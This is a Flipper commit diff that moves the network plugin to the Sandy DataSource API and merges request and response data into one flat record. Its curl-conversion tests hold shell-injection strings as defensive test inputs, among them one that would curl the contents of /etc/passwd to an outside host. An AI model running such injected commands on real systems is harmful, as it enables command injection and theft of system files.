Convert network plugin to Sandy

Summary:
converted the network plugin to use DataSource / DataTable. Restructured the storage to contain a single flat normalised object that will be much more efficient for rendering / filtering (as columns currently don't support nested keys yet, and lazy columns are a lot less flexible)

lint errors and further `flipper` package usages will be cleaned up in the next diff to make sure this diff doesn't become too large.

The rest of the plugin is converted in the next diff

Reviewed By: nikoant

Differential Revision: D27938581

fbshipit-source-id: 2e0e2ba75ef13d88304c6566d4519b121daa215b
This commit is contained in:
Michel Weststrate
2021-05-06 04:26:41 -07:00
committed by Facebook GitHub Bot
parent bef1885395
commit 23402dfff6
12 changed files with 608 additions and 763 deletions

View File

@@ -137,6 +137,11 @@ export class DataSource<
return unwrap(this._records[index]);
}
public has(key: KEY_TYPE) {
this.assertKeySet();
return this._recordsById.has(key);
}
public getById(key: KEY_TYPE) {
this.assertKeySet();
return this._recordsById.get(key);

View File

@@ -17,7 +17,7 @@ import {
Panel,
} from 'flipper';
import React, {useContext, useState, useMemo, useEffect} from 'react';
import {Route, Request, Response} from './types';
import {Route, Requests} from './types';
import {MockResponseDetails} from './MockResponseDetails';
import {NetworkRouteContext} from './index';
import {RequestId} from './types';
@@ -27,8 +27,7 @@ import {NUX, Layout} from 'flipper-plugin';
type Props = {
routes: {[id: string]: Route};
highlightedRows: Set<string> | null | undefined;
requests: {[id: string]: Request};
responses: {[id: string]: Response};
requests: Requests;
};
const ColumnSizes = {route: 'flex'};
@@ -224,7 +223,7 @@ export function ManageMockResponsePanel(props: Props) {
Add Route
</Button>
<NUX
title="It is now possible to highlight calls from the network call list and convert them into mock routes."
title="It is now possible to select calls from the network call list and convert them into mock routes."
placement="bottom">
<Button
onClick={() => {
@@ -232,13 +231,12 @@ export function ManageMockResponsePanel(props: Props) {
!props.highlightedRows ||
props.highlightedRows.size == 0
) {
message.info('No network calls have been highlighted');
message.info('No network calls have been selected');
return;
}
networkRouteManager.copyHighlightedCalls(
props.highlightedRows as Set<string>,
props.requests,
props.responses,
);
}}>
Copy Highlighted Calls

View File

@@ -10,7 +10,7 @@
import {Button, styled, Layout, Spacer} from 'flipper';
import {ManageMockResponsePanel} from './ManageMockResponsePanel';
import {Route, Request, Response} from './types';
import {Route, Requests} from './types';
import React from 'react';
import {NetworkRouteContext} from './index';
@@ -20,8 +20,7 @@ type Props = {
routes: {[id: string]: Route};
onHide: () => void;
highlightedRows: Set<string> | null | undefined;
requests: {[id: string]: Request};
responses: {[id: string]: Response};
requests: Requests;
};
const Title = styled('div')({
@@ -45,7 +44,6 @@ export function MockResponseDialog(props: Props) {
routes={props.routes}
highlightedRows={props.highlightedRows}
requests={props.requests}
responses={props.responses}
/>
</Layout.Container>
<Layout.Horizontal gap>

View File

@@ -7,7 +7,7 @@
* @format
*/
import {Request, Response, Header, Insights, RetryInsights} from './types';
import {Request, Header, Insights, RetryInsights} from './types';
import {
Component,
@@ -55,7 +55,6 @@ const KeyValueColumns = {
type RequestDetailsProps = {
request: Request;
response: Response | null | undefined;
bodyFormat: string;
onSelectFormat: (bodyFormat: string) => void;
};
@@ -111,7 +110,7 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
};
render() {
const {request, response, bodyFormat, onSelectFormat} = this.props;
const {request, bodyFormat, onSelectFormat} = this.props;
const url = new URL(request.url);
const formattedText = bodyFormat == BodyOptions.formatted;
@@ -143,17 +142,17 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
</Panel>
) : null}
{request.headers.length > 0 ? (
{request.requestHeaders.length > 0 ? (
<Panel
key="headers"
heading={'Request Headers'}
floating={false}
padded={false}>
<HeaderInspector headers={request.headers} />
<HeaderInspector headers={request.requestHeaders} />
</Panel>
) : null}
{request.data != null ? (
{request.requestData != null ? (
<Panel
key="requestData"
heading={'Request Body'}
@@ -165,28 +164,29 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
/>
</Panel>
) : null}
{response ? (
{request.status ? (
<>
{response.headers.length > 0 ? (
{request.responseHeaders?.length ? (
<Panel
key={'responseheaders'}
heading={`Response Headers${
response.isMock ? ' (Mocked)' : ''
request.responseIsMock ? ' (Mocked)' : ''
}`}
floating={false}
padded={false}>
<HeaderInspector headers={response.headers} />
<HeaderInspector headers={request.responseHeaders} />
</Panel>
) : null}
<Panel
key={'responsebody'}
heading={`Response Body${response.isMock ? ' (Mocked)' : ''}`}
heading={`Response Body${
request.responseIsMock ? ' (Mocked)' : ''
}`}
floating={false}
padded={!formattedText}>
<ResponseBodyInspector
formattedText={formattedText}
request={request}
response={response}
/>
</Panel>
</>
@@ -204,13 +204,13 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
options={BodyOptions}
/>
</Panel>
{response && response.insights ? (
{request.insights ? (
<Panel
key="insights"
heading={'Insights'}
floating={false}
collapsed={true}>
<InsightsInspector insights={response.insights} />
<InsightsInspector insights={request.insights} />
</Panel>
) : null}
</RequestDetails.Container>
@@ -311,7 +311,7 @@ const BodyContainer = styled.div({
type BodyFormatter = {
formatRequest?: (request: Request) => any;
formatResponse?: (request: Request, response: Response) => any;
formatResponse?: (request: Request) => any;
};
class RequestBodyInspector extends Component<{
@@ -320,7 +320,7 @@ class RequestBodyInspector extends Component<{
}> {
render() {
const {request, formattedText} = this.props;
if (request.data == null || request.data.trim() === '') {
if (request.requestData == null || request.requestData.trim() === '') {
return <Empty />;
}
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -346,25 +346,24 @@ class RequestBodyInspector extends Component<{
}
}
}
return renderRawBody(request);
return renderRawBody(request, 'request');
}
}
class ResponseBodyInspector extends Component<{
response: Response;
request: Request;
formattedText: boolean;
}> {
render() {
const {request, response, formattedText} = this.props;
if (response.data == null || response.data.trim() === '') {
const {request, formattedText} = this.props;
if (request.responseData == null || request.responseData.trim() === '') {
return <Empty />;
}
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
for (const formatter of bodyFormatters) {
if (formatter.formatResponse) {
try {
const component = formatter.formatResponse(request, response);
const component = formatter.formatResponse(request);
if (component) {
return (
<BodyContainer>
@@ -383,7 +382,7 @@ class ResponseBodyInspector extends Component<{
}
}
}
return renderRawBody(response);
return renderRawBody(request, 'response');
}
}
@@ -400,9 +399,26 @@ const Empty = () => (
</BodyContainer>
);
function renderRawBody(container: Request | Response) {
function getRequestData(request: Request) {
return {
headers: request.requestHeaders,
data: request.requestData,
};
}
function getResponseData(request: Request) {
return {
headers: request.responseHeaders,
data: request.responseData,
};
}
function renderRawBody(request: Request, mode: 'request' | 'response') {
// TODO: we want decoding only for non-binary data! See D23403095
const decoded = decodeBody(container);
const data = mode === 'request' ? request.requestData : request.responseData;
const decoded = decodeBody(
mode === 'request' ? getRequestData(request) : getResponseData(request),
);
return (
<BodyContainer>
{decoded ? (
@@ -413,7 +429,7 @@ function renderRawBody(container: Request | Response) {
<>
<FormattedBy>(Failed to decode)</FormattedBy>
<Text selectable wordWrap="break-word">
{container.data}
{data}
</Text>
</>
)}
@@ -482,20 +498,24 @@ class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
}
class ImageFormatter {
formatResponse = (request: Request, response: Response) => {
if (getHeaderValue(response.headers, 'content-type').startsWith('image/')) {
if (response.data) {
formatResponse(request: Request) {
if (
getHeaderValue(request.responseHeaders, 'content-type').startsWith(
'image/',
)
) {
if (request.responseData) {
const src = `data:${getHeaderValue(
response.headers,
request.responseHeaders,
'content-type',
)};base64,${response.data}`;
)};base64,${request.responseData}`;
return <ImageWithSize src={src} />;
} else {
// fallback to using the request url
return <ImageWithSize src={request.url} />;
}
}
};
}
}
class VideoFormatter {
@@ -504,8 +524,8 @@ class VideoFormatter {
maxHeight: 500,
});
formatResponse = (request: Request, response: Response) => {
const contentType = getHeaderValue(response.headers, 'content-type');
formatResponse = (request: Request) => {
const contentType = getHeaderValue(request.responseHeaders, 'content-type');
if (contentType.startsWith('video/')) {
return (
<MediaContainer>
@@ -551,21 +571,21 @@ class XMLText extends Component<{body: any}> {
}
class JSONTextFormatter {
formatRequest = (request: Request) => {
formatRequest(request: Request) {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
decodeBody(getRequestData(request)),
getHeaderValue(request.requestHeaders, 'content-type'),
);
};
}
formatResponse = (_request: Request, response: Response) => {
formatResponse(request: Request) {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
decodeBody(getResponseData(request)),
getHeaderValue(request.responseHeaders, 'content-type'),
);
};
}
format = (body: string, contentType: string) => {
format(body: string, contentType: string) {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
@@ -583,47 +603,47 @@ class JSONTextFormatter {
.map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
}
}
};
}
}
class XMLTextFormatter {
formatRequest = (request: Request) => {
formatRequest(request: Request) {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
decodeBody(getRequestData(request)),
getHeaderValue(request.requestHeaders, 'content-type'),
);
};
}
formatResponse = (_request: Request, response: Response) => {
formatResponse(request: Request) {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
decodeBody(getResponseData(request)),
getHeaderValue(request.responseHeaders, 'content-type'),
);
};
}
format = (body: string, contentType: string) => {
format(body: string, contentType: string) {
if (contentType.startsWith('text/html')) {
return <XMLText body={body} />;
}
};
}
}
class JSONFormatter {
formatRequest = (request: Request) => {
formatRequest(request: Request) {
return this.format(
decodeBody(request),
getHeaderValue(request.headers, 'content-type'),
decodeBody(getRequestData(request)),
getHeaderValue(request.requestHeaders, 'content-type'),
);
};
}
formatResponse = (_request: Request, response: Response) => {
formatResponse(request: Request) {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
decodeBody(getResponseData(request)),
getHeaderValue(request.responseHeaders, 'content-type'),
);
};
}
format = (body: string, contentType: string) => {
format(body: string, contentType: string) {
if (
contentType.startsWith('application/json') ||
contentType.startsWith('application/hal+json') ||
@@ -651,35 +671,35 @@ class JSONFormatter {
);
}
}
};
}
}
class LogEventFormatter {
formatRequest = (request: Request) => {
formatRequest(request: Request) {
if (request.url.indexOf('logging_client_event') > 0) {
const data = querystring.parse(decodeBody(request));
const data = querystring.parse(decodeBody(getRequestData(request)));
if (typeof data.message === 'string') {
data.message = JSON.parse(data.message);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
}
}
class GraphQLBatchFormatter {
formatRequest = (request: Request) => {
formatRequest(request: Request) {
if (request.url.indexOf('graphqlbatch') > 0) {
const data = querystring.parse(decodeBody(request));
const data = querystring.parse(decodeBody(getRequestData(request)));
if (typeof data.queries === 'string') {
data.queries = JSON.parse(data.queries);
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
}
}
class GraphQLFormatter {
parsedServerTimeForFirstFlush = (data: any) => {
parsedServerTimeForFirstFlush(data: any) {
const firstResponse =
Array.isArray(data) && data.length > 0 ? data[0] : data;
if (!firstResponse) {
@@ -702,10 +722,10 @@ class GraphQLFormatter {
(timeAtFlushMs - requestStartMs)}
</WrappingText>
);
};
formatRequest = (request: Request) => {
}
formatRequest(request: Request) {
if (request.url.indexOf('graphql') > 0) {
const decoded = decodeBody(request);
const decoded = decodeBody(getRequestData(request));
if (!decoded) {
return undefined;
}
@@ -718,14 +738,14 @@ class GraphQLFormatter {
}
return <ManagedDataInspector expandRoot={true} data={data} />;
}
};
}
formatResponse = (_request: Request, response: Response) => {
formatResponse(request: Request) {
return this.format(
decodeBody(response),
getHeaderValue(response.headers, 'content-type'),
decodeBody(getResponseData(request)),
getHeaderValue(request.responseHeaders, 'content-type'),
);
};
}
format = (body: string, contentType: string) => {
if (
@@ -770,9 +790,9 @@ class GraphQLFormatter {
class FormUrlencodedFormatter {
formatRequest = (request: Request) => {
const contentType = getHeaderValue(request.headers, 'content-type');
const contentType = getHeaderValue(request.requestHeaders, 'content-type');
if (contentType.startsWith('application/x-www-form-urlencoded')) {
const decoded = decodeBody(request);
const decoded = decodeBody(getRequestData(request));
if (!decoded) {
return undefined;
}
@@ -788,16 +808,18 @@ class FormUrlencodedFormatter {
class BinaryFormatter {
formatRequest(request: Request) {
return this.format(request);
}
formatResponse(_request: Request, response: Response) {
return this.format(response);
}
format(container: Request | Response) {
if (
getHeaderValue(container.headers, 'content-type') ===
getHeaderValue(request.requestHeaders, 'content-type') ===
'application/octet-stream'
) {
return '(binary data)'; // we could offer a download button here?
}
return undefined;
}
formatResponse(request: Request) {
if (
getHeaderValue(request.responseHeaders, 'content-type') ===
'application/octet-stream'
) {
return '(binary data)'; // we could offer a download button here?
@@ -811,7 +833,7 @@ class ProtobufFormatter {
formatRequest(request: Request) {
if (
getHeaderValue(request.headers, 'content-type') ===
getHeaderValue(request.requestHeaders, 'content-type') ===
'application/x-protobuf'
) {
const protobufDefinition = this.protobufDefinitionRepository.getRequestType(
@@ -827,9 +849,9 @@ class ProtobufFormatter {
);
}
if (request?.data) {
if (request.requestData) {
const data = protobufDefinition.decode(
Base64.toUint8Array(request.data),
Base64.toUint8Array(request.requestData),
);
return <JSONText>{data.toJSON()}</JSONText>;
} else {
@@ -841,9 +863,9 @@ class ProtobufFormatter {
return undefined;
}
formatResponse(request: Request, response: Response) {
formatResponse(request: Request) {
if (
getHeaderValue(response.headers, 'content-type') ===
getHeaderValue(request.responseHeaders, 'content-type') ===
'application/x-protobuf' ||
request.url.endsWith('.proto')
) {
@@ -860,9 +882,9 @@ class ProtobufFormatter {
);
}
if (response?.data) {
if (request.responseData) {
const data = protobufDefinition.decode(
Base64.toUint8Array(response.data),
Base64.toUint8Array(request.responseData),
);
return <JSONText>{data.toJSON()}</JSONText>;
} else {

View File

@@ -8,11 +8,10 @@
*/
import {combineBase64Chunks} from '../chunks';
import {TestUtils, createState} from 'flipper-plugin';
import {TestUtils} from 'flipper-plugin';
import * as NetworkPlugin from '../index';
import {assembleChunksIfResponseIsComplete} from '../chunks';
import path from 'path';
import {PartialResponses, Response} from '../types';
import {Base64} from 'js-base64';
import * as fs from 'fs';
import {promisify} from 'util';
@@ -88,24 +87,53 @@ test('Reducer correctly adds followup chunk', () => {
test('Reducer correctly combines initial response and followup chunk', () => {
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
instance.partialResponses.set({
'1': {
followupChunks: {},
initialResponse: {
data: 'aGVs',
headers: [],
id: '1',
insights: null,
isMock: false,
reason: 'nothing',
status: 200,
timestamp: 123,
index: 0,
totalChunks: 2,
},
},
sendEvent('newRequest', {
data: 'x',
headers: [{key: 'y', value: 'z'}],
id: '1',
method: 'GET',
timestamp: 0,
url: 'http://test.com',
});
sendEvent('partialResponse', {
data: 'aGVs',
headers: [],
id: '1',
insights: null,
isMock: false,
reason: 'nothing',
status: 200,
timestamp: 123,
index: 0,
totalChunks: 2,
});
expect(instance.partialResponses.get()).toMatchInlineSnapshot(`
Object {
"1": Object {
"followupChunks": Object {},
"initialResponse": Object {
"data": "aGVs",
"headers": Array [],
"id": "1",
"index": 0,
"insights": null,
"isMock": false,
"reason": "nothing",
"status": 200,
"timestamp": 123,
"totalChunks": 2,
},
},
}
`);
expect(instance.requests.records()[0]).toMatchObject({
requestData: 'x',
requestHeaders: [{key: 'y', value: 'z'}],
id: '1',
method: 'GET',
url: 'http://test.com',
domain: 'test.com/',
});
expect(instance.responses.get()).toEqual({});
sendEvent('partialResponse', {
id: '1',
totalChunks: 2,
@@ -114,20 +142,27 @@ test('Reducer correctly combines initial response and followup chunk', () => {
});
expect(instance.partialResponses.get()).toEqual({});
expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
Object {
"data": "aGVsbG8=",
"headers": Array [],
"id": "1",
"index": 0,
"insights": null,
"isMock": false,
"reason": "nothing",
"status": 200,
"timestamp": 123,
"totalChunks": 2,
}
`);
expect(instance.requests.records()[0]).toMatchObject({
domain: 'test.com/',
duration: 123,
id: '1',
insights: undefined,
method: 'GET',
reason: 'nothing',
requestData: 'x',
requestHeaders: [
{
key: 'y',
value: 'z',
},
],
responseData: 'aGVsbG8=',
responseHeaders: [],
responseIsMock: false,
responseLength: 5,
status: 200,
url: 'http://test.com',
});
});
async function readJsonFixture(filename: string) {
@@ -138,38 +173,22 @@ async function readJsonFixture(filename: string) {
test('handle small binary payloads correctly', async () => {
const input = await readJsonFixture('partial_failing_example.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
// this used to throw
assembleChunksIfResponseIsComplete(partials, responses, 'test');
assembleChunksIfResponseIsComplete(input);
}).not.toThrow();
});
test('handle non binary payloads correcty', async () => {
const input = await readJsonFixture('partial_utf8_before.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
assembleChunksIfResponseIsComplete(partials, responses, 'test');
}).not.toThrow();
const expected = await readJsonFixture('partial_utf8_after.json');
expect(responses.get()['test']).toEqual(expected);
const response = assembleChunksIfResponseIsComplete(input);
expect(response).toEqual(expected);
});
test('handle binary payloads correcty', async () => {
const input = await readJsonFixture('partial_binary_before.json');
const partials = createState<PartialResponses>({
test: input,
});
const responses = createState<Record<string, Response>>({});
expect(() => {
assembleChunksIfResponseIsComplete(partials, responses, 'test');
}).not.toThrow();
const expected = await readJsonFixture('partial_binary_after.json');
expect(responses.get()['test']).toEqual(expected);
const response = assembleChunksIfResponseIsComplete(input);
expect(response).toEqual(expected);
});

View File

@@ -10,17 +10,17 @@
import {readFile} from 'fs';
import path from 'path';
import {decodeBody} from '../utils';
import {Response} from '../types';
import {ResponseInfo} from '../types';
import {promisify} from 'util';
import {readFileSync} from 'fs';
async function createMockResponse(input: string): Promise<Response> {
async function createMockResponse(input: string): Promise<ResponseInfo> {
const inputData = await promisify(readFile)(
path.join(__dirname, 'fixtures', input),
'ascii',
);
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
const testResponse: Response = {
const testResponse: ResponseInfo = {
id: '0',
timestamp: 0,
status: 200,

View File

@@ -8,16 +8,15 @@
*/
import {convertRequestToCurlCommand} from '../utils';
import {Request} from '../types';
test('convertRequestToCurlCommand: simple GET', () => {
const request: Request = {
const request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: null,
requestHeaders: [],
requestData: undefined,
};
const command = convertRequestToCurlCommand(request);
@@ -25,13 +24,13 @@ test('convertRequestToCurlCommand: simple GET', () => {
});
test('convertRequestToCurlCommand: simple POST', () => {
const request: Request = {
const request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=data&other=param'),
requestHeaders: [],
requestData: btoa('some=data&other=param'),
};
const command = convertRequestToCurlCommand(request);
@@ -41,13 +40,13 @@ test('convertRequestToCurlCommand: simple POST', () => {
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
let request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
requestHeaders: [],
requestData: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
@@ -60,8 +59,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
requestHeaders: [],
requestData: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
@@ -71,13 +70,13 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
});
test('convertRequestToCurlCommand: malicious POST URL', () => {
let request: Request = {
let request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: "https://fbflipper.com/'; cat /etc/password",
headers: [],
data: btoa('some=data&other=param'),
requestHeaders: [],
requestData: btoa('some=data&other=param'),
};
let command = convertRequestToCurlCommand(request);
@@ -90,8 +89,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/"; cat /etc/password',
headers: [],
data: btoa('some=data&other=param'),
requestHeaders: [],
requestData: btoa('some=data&other=param'),
};
command = convertRequestToCurlCommand(request);
@@ -101,13 +100,15 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
});
test('convertRequestToCurlCommand: malicious POST data', () => {
let request: Request = {
let request = {
id: 'request id',
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
requestHeaders: [],
requestData: btoa(
'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
),
};
let command = convertRequestToCurlCommand(request);
@@ -120,8 +121,8 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
timestamp: 1234567890,
method: 'POST',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=!!'),
requestHeaders: [],
requestData: btoa('some=!!'),
};
command = convertRequestToCurlCommand(request);
@@ -131,13 +132,13 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
});
test('convertRequestToCurlCommand: control characters', () => {
const request: Request = {
const request = {
id: 'request id',
timestamp: 1234567890,
method: 'GET',
url: 'https://fbflipper.com/',
headers: [],
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
requestHeaders: [],
requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
};
const command = convertRequestToCurlCommand(request);

View File

@@ -7,20 +7,16 @@
* @format
*/
import type {PartialResponses, Response} from './types';
import {Atom} from 'flipper-plugin';
import type {PartialResponse, ResponseInfo} from './types';
import {Base64} from 'js-base64';
export function assembleChunksIfResponseIsComplete(
partialResponses: Atom<PartialResponses>,
responses: Atom<Record<string, Response>>,
responseId: string,
) {
const partialResponseEntry = partialResponses.get()[responseId];
const numChunks = partialResponseEntry.initialResponse?.totalChunks;
partialResponseEntry: PartialResponse | undefined,
): ResponseInfo | undefined {
const numChunks = partialResponseEntry?.initialResponse?.totalChunks;
if (
!partialResponseEntry.initialResponse ||
!numChunks ||
!partialResponseEntry?.initialResponse ||
Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
) {
// Partial response not yet complete, do nothing.
@@ -28,7 +24,7 @@ export function assembleChunksIfResponseIsComplete(
}
// Partial response has all required chunks, convert it to a full Response.
const response: Response = partialResponseEntry.initialResponse;
const response: ResponseInfo = partialResponseEntry.initialResponse;
const allChunks: string[] =
response.data != null
? [
@@ -41,17 +37,11 @@ export function assembleChunksIfResponseIsComplete(
: [];
const data = combineBase64Chunks(allChunks);
responses.update((draft) => {
draft[responseId] = {
...response,
// Currently data is always decoded at render time, so re-encode it to match the single response format.
data,
};
});
partialResponses.update((draft) => {
delete draft[responseId];
});
return {
...response,
// Currently data is always decoded at render time, so re-encode it to match the single response format.
data,
};
}
export function combineBase64Chunks(chunks: string[]): string {

File diff suppressed because it is too large Load Diff

View File

@@ -7,20 +7,44 @@
* @format
*/
import {DataSource} from 'flipper-plugin';
import {AnyNestedObject} from 'protobufjs';
export type RequestId = string;
export type Request = {
export interface Request {
id: RequestId;
// request
requestTime: Date;
method: string;
url: string;
domain: string;
requestHeaders: Array<Header>;
requestData?: string;
// response
responseTime?: Date;
status?: number;
reason?: string;
responseHeaders?: Array<Header>;
responseData?: string;
responseLength?: number;
responseIsMock?: boolean;
duration?: number;
insights?: Insights;
}
export type Requests = DataSource<Request, 'id', string>;
export type RequestInfo = {
id: RequestId;
timestamp: number;
method: string;
url: string;
url?: string;
headers: Array<Header>;
data: string | null | undefined;
};
export type Response = {
export type ResponseInfo = {
id: RequestId;
timestamp: number;
status: number;
@@ -95,9 +119,9 @@ export type MockRoute = {
enabled: boolean;
};
export type PartialResponses = {
[id: string]: {
initialResponse?: Response;
followupChunks: {[id: number]: string};
};
export type PartialResponse = {
initialResponse?: ResponseInfo;
followupChunks: {[id: number]: string};
};
export type PartialResponses = Record<string, PartialResponse>;

View File

@@ -8,10 +8,16 @@
*/
import pako from 'pako';
import {Request, Response, Header} from './types';
import {Request, Header, ResponseInfo} from './types';
import {Base64} from 'js-base64';
export function getHeaderValue(headers: Array<Header>, key: string): string {
export function getHeaderValue(
headers: Array<Header> | undefined,
key: string,
): string {
if (!headers) {
return '';
}
for (const header of headers) {
if (header.key.toLowerCase() === key.toLowerCase()) {
return header.value;
@@ -20,7 +26,10 @@ export function getHeaderValue(headers: Array<Header>, key: string): string {
return '';
}
export function decodeBody(container: Request | Response): string {
export function decodeBody(container: {
headers?: Array<Header>;
data: string | null | undefined;
}): string {
if (!container.data) {
return '';
}
@@ -59,16 +68,21 @@ export function decodeBody(container: Request | Response): string {
}
}
export function convertRequestToCurlCommand(request: Request): string {
export function convertRequestToCurlCommand(
request: Pick<Request, 'method' | 'url' | 'requestHeaders' | 'requestData'>,
): string {
let command: string = `curl -v -X ${request.method}`;
command += ` ${escapedString(request.url)}`;
// Add headers
request.headers.forEach((header: Header) => {
request.requestHeaders.forEach((header: Header) => {
const headerStr = `${header.key}: ${header.value}`;
command += ` -H ${escapedString(headerStr)}`;
});
// Add body. TODO: we only want this for non-binary data! See D23403095
const body = decodeBody(request);
const body = decodeBody({
headers: request.requestHeaders,
data: request.requestData,
});
if (body) {
command += ` -d ${escapedString(body)}`;
}
@@ -101,3 +115,15 @@ function escapedString(str: string) {
// Simply use singly quoted string.
return "'" + str + "'";
}
export function getResponseLength(request: ResponseInfo): number {
const lengthString = request.headers
? getHeaderValue(request.headers, 'content-length')
: undefined;
if (lengthString) {
return parseInt(lengthString, 10);
} else if (request.data) {
return Buffer.byteLength(request.data, 'base64');
}
return 0;
}

View File

@@ -78,6 +78,7 @@ This step is completed if the plugin follows the next `plugin` / `component` str
* Similarly `yarn watch` can be used to run the unit tests in watch mode. Use the `p` key to filter for your specific plugin if `jest` doesn't do so automatically.
* Example of migrating the network plugin to use Sandy APIs. D24108772 / [Github commit](https://github.com/facebook/flipper/commit/fdde2761ef054e44f399c846a2eae6baba03861e)
* Example of migrating the example plugin to use Sandy APIs. D22308265 / [Github commit](https://github.com/facebook/flipper/commit/babc88e472612c66901d21d289bd217ef28ee385#diff-a145be72bb13a4675dcc8cbac5e55abcd9a542cc92f5c781bd7d3749f13676fc)
* Other plugins that can be check for inspiration are the Logs and Network plugins.
* These steps typically does not involve change much the UI or touch other files than `index.tsx`. Typically, the root component needs to be changed, but most other components can remain as is. However, if a ManagedTable is used (see the next section), it might be easier to already convert the table in this step.
* Sandy has first class support for unit testing your plugin and mocking device interactions. Please do set up unit tests per documentation linked above!
* If the original plugin definition contained `state`, it is recommended to create one new state atoms (`createState`) per field in the original `state`, rather than having one big atom.